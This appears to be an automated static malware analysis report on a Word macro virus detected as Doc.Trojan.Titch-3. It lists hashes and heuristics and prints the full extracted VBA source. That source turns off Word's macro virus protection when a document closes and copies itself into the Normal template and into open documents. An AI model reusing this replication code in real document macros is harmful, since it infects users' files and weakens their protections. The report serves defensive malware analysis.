Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5679fd7443403393…

MALICIOUS

Office (OLE)

27.5 KB Created: 2002-08-22 05:52:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b4d73f7031c27288200b12f87bd62f83 SHA-1: 16917dbbada90c6ee913c6ad8c49730b043fe03b SHA-256: 5679fd7443403393b670487898752a7291295ae3d61f860bac40be3c71ba5f14
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro with an AutoClose subroutine, which is a common technique for executing malicious code when a document is closed. The script attempts to copy itself to the Normal template and the active document, likely to establish persistence or prepare for a secondary payload. The presence of legacy WordBasic markers and the ClamAV detection further indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Titch-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Titch-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1586 bytes
SHA-256: 562207cdc40cd4ae28563396b4421d7074f07b1f7ad8be8e32fe4163fa63f2cb
Detection
ClamAV: Doc.Trojan.Titch-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Arbind2000"
Sub AutoClose()
'arbind2000
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
  On Error Resume Next
  Application.Options.VirusProtection = False
Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "arbind2000", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("arbind2000").Export ("c:\arbind2000.tmp")
    ActiveDocument.VBProject.VBComponents.Import ("c:\arbind2000.tmp")
    ActiveDocument.SaveAs ActiveDocument.FullName
    Kill ("c:\arbind2000.tmp")
  End If
End Sub

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